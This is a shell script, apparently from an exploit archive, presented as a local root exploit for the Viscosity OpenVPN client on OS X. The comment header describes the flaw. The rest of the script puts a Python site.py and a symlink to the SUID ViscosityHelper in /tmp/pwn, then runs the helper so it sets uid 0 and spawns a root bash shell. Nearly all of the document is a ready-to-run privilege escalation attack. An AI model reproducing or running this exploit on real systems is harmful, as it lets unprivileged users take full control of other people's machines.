OS X Local Root Exploit for Viscosity OpenVPN Client

#!/bin/sh # ########################## # Viscatory # # # # zx2c4 # ########################## # # After the hullabaloo from the Tunnelblick local root, savy Mac users # began defending Viscosity, another OS X VPN client. They figured, since # they spent money on Viscosity, surely it would be better designed than # the free open-source alternative. # # Unfortunately, this exploit took all of 2 minutes to find. DTrace for # the win. Here, the SUID helper will execute site.py in its enclosing # folder. A simple symlink, and we have root. # # greets to jono # # Source: http://git.zx2c4.com/Viscatory/tree/viscatory.sh echo "[+] Crafting payload." mkdir -p -v /tmp/pwn cat > /tmp/pwn/site.py <<_EOF import os print "[+] Cleaning up." os.system("rm -rvf /tmp/pwn") print "[+] Getting root." os.setuid(0) os.setgid(0) os.execl("/bin/bash", "bash") _EOF echo "[+] Making symlink." ln -s -f -v /Applications/Viscosity.app/Contents/Resources/ViscosityHelper /tmp/pwn/root echo "[+] Running vulnerable SUID helper." exec /tmp/pwn/root